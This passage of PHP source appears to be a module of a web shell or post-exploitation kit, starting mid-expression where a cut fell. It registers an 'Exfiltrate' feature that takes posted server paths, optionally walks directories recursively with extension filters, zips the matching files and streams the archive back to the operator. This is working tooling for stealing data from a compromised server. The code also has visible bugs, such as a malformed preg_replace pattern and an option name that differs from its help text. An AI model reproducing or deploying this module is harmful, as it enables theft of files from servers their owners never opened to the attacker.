" .
"Concatenate to the path " . __PREFIX__makeCodeHighlight(",with_tree") .
" to include all files and folders within a given directory. " .
"Concatenate to the path " . __PREFIX__makeCodeHighlight(",extensions=txt|doc|xlsx") .
" to include only files with the given extensions.",
true
)]
),
// if a request with the status parameter is received create the command output screen and render the status
empty($_GET["status"])
? ""
: __PREFIX__openCommandOutputScreen(true) .
htmlentities($_GET["status"]) .
__PREFIX__closeCommandOutputScreen(true),
]
);
}
/**
* Get the shortest common path from a list of paths
*
* @param $paths string[] List of paths
*
* @return string|null
*/
function __PREFIX__getShortestCommonPath($paths) {
if (empty($paths)) {
return null;
}
// Initialize with first path
$shortest_path = $paths[0];
foreach ($paths as $path) {
$common_path = '';
$path_segments = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); // Split path by separator
$shortest_segments = explode(DIRECTORY_SEPARATOR, trim($shortest_path, DIRECTORY_SEPARATOR));
$min_length = min(count($path_segments), count($shortest_segments));
for ($i = 0; $i < $min_length; $i++) {
if ($path_segments[$i] === $shortest_segments[$i]) {
$common_path .= $path_segments[$i] . DIRECTORY_SEPARATOR;
}
else {
break;
}
}
// Update shortest path if shorter common path found
$shortest_path = $common_path;
}
// Remove trailing separator if present
return rtrim($shortest_path, DIRECTORY_SEPARATOR);
}
/**
* Add a directory to a zip archive
*
* @param $dir string Directory to add
* @param $zip ZipArchive Zip archive to add to
* @param $recursive bool Whether to add the directory recursively
* @param $extensions string[] Extensions to include
* @param $cleanup_path string Path to cleanup
*
* @return void
*/
function __PREFIX__addDirectoryToZip($dir, $zip, $recursive, $extensions, $cleanup_path = "") {
$dir_handle = opendir($dir);
while (($file = readdir($dir_handle)) !== false) {
if ($file !== '.' && $file !== '..') {
$sub_path = "$dir/$file";
if (
is_file($sub_path) &&
($extensions === [] || in_array(strtolower(pathinfo($sub_path, PATHINFO_EXTENSION)), $extensions))
) {
// Add with relative path within zip
$zip->addFile(
$sub_path,
str_replace(
$cleanup_path,
'',
preg_replace(
"\\",
"/",
basename($sub_path)
) // Replace backslashes with forward slashes
) // Remove common path from filename
);
}
else {
if ($recursive && is_dir($sub_path) && is_readable($sub_path)) {
__PREFIX__addDirectoryToZip($sub_path, $zip, $recursive, $extensions, $cleanup_path);
}
}
}
}
closedir($dir_handle);
}
/**
* Handle the zip creation process
*
* @param $operation string The operation to handle
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features container
*
* @return void
*/
function __PREFIX__handleExfiltrate($operation, $features) {
$content = $_POST['__PARAM_1__'];
// ensure the zip extension is loaded
if (!extension_loaded('zip')) {
// redirect to the same page with the error status
header(
"Location: " . $_SERVER["REQUEST_URI"] .
"&status=" .
urlencode("Error: Zip extension is not loaded.")
);
return;
}
$zip = new ZipArchive();
$zip_name = tempnam(sys_get_temp_dir(), "__RANDOM_5_STRING__");
// if the zip file cannot be opened fail
if ($zip->open($zip_name, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
header(
"Location: " . $_SERVER["REQUEST_URI"] .
"&status=" .
urlencode("Error: Could not create temporary archive.")
);
return;
}
$lines = explode("\n", $content);
$path_replacement = __PREFIX__getShortestCommonPath($lines);
// loop through the lines to extract
foreach ($lines as $line) {
// Split line by comma to extract options
$parts = explode(',', trim($line));
$path = !empty($parts[0]) ? $parts[0] : '';
// check if want to exfiltrate recursively
$recursive = in_array('with_tree', $parts);
$extensions = [];
// load the whitelisted extensions
foreach ($parts as $part) {
if (strpos($part, 'extension=') === 0) {
$extensions = explode("|", strtolower(trim(substr($part, 10)))); // 10 = "extension=".length
break;
}
}
if ($path) {
if (
is_file($path) && // got a file
// with a whitelisted extension (or extensions are not defined)
($extensions === [] || in_array(strtolower(pathinfo($path, PATHINFO_EXTENSION)), $extensions))
) {
// add the file to the zip archive
$zip->addFile(
$path,
str_replace(
$path_replacement,
'',
preg_replace(
"\\",
"/",
basename($path)
) // Replace backslashes with forward slashes
) // Remove common path from filename
);
}
elseif (is_dir($path) && is_readable($path)) {
__PREFIX__addDirectoryToZip(
$path,
$zip,
$recursive,
$extensions,
$path_replacement . DIRECTORY_SEPARATOR
);
}
}
}
$zip->close();
$file_size = filesize($zip_name);
__PREFIX__chunkedDownload($zip_name, $file_size, "export.zip");
// Delete temporary zip file;
unlink($zip_name);
}
/**
* Hook the isolated operations to add the current operation
*
* @param $isolated_ops array The isolated operations container
*
* @return void
*/
function __PREFIX__exfiltrateHooksIsolatedOps(&$isolated_ops) {
global $EXFILTRATE;
$isolated_ops[] = $EXFILTRATE;
}
/**
* Hook the features to add the login feature
*
* @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features
* container
*
* @return void
*/
function __PREFIX__exfiltrateHooksFeatures(&$features) {
global $EXFILTRATE;
$features[] = ["title" => "Exfiltrate", "description" => "Exfiltrate data from the server in a password protected zip archive.", "svg" => '', "op" => $EXFILTRATE];
}
// section.functions.end
// section.hooks
add_hook("isolated_ops", "__PREFIX__exfiltrateHooksIsolatedOps");
add_hook("features", "__PREFIX__exfiltrateHooksFeatures");
add_named_hook("GET_page", $EXFILTRATE, "__PREFIX__makeExfiltratePage");
add_named_hook("POST_operation", $EXFILTRATE, "__PREFIX__handleExfiltrate");
// section.hooks.end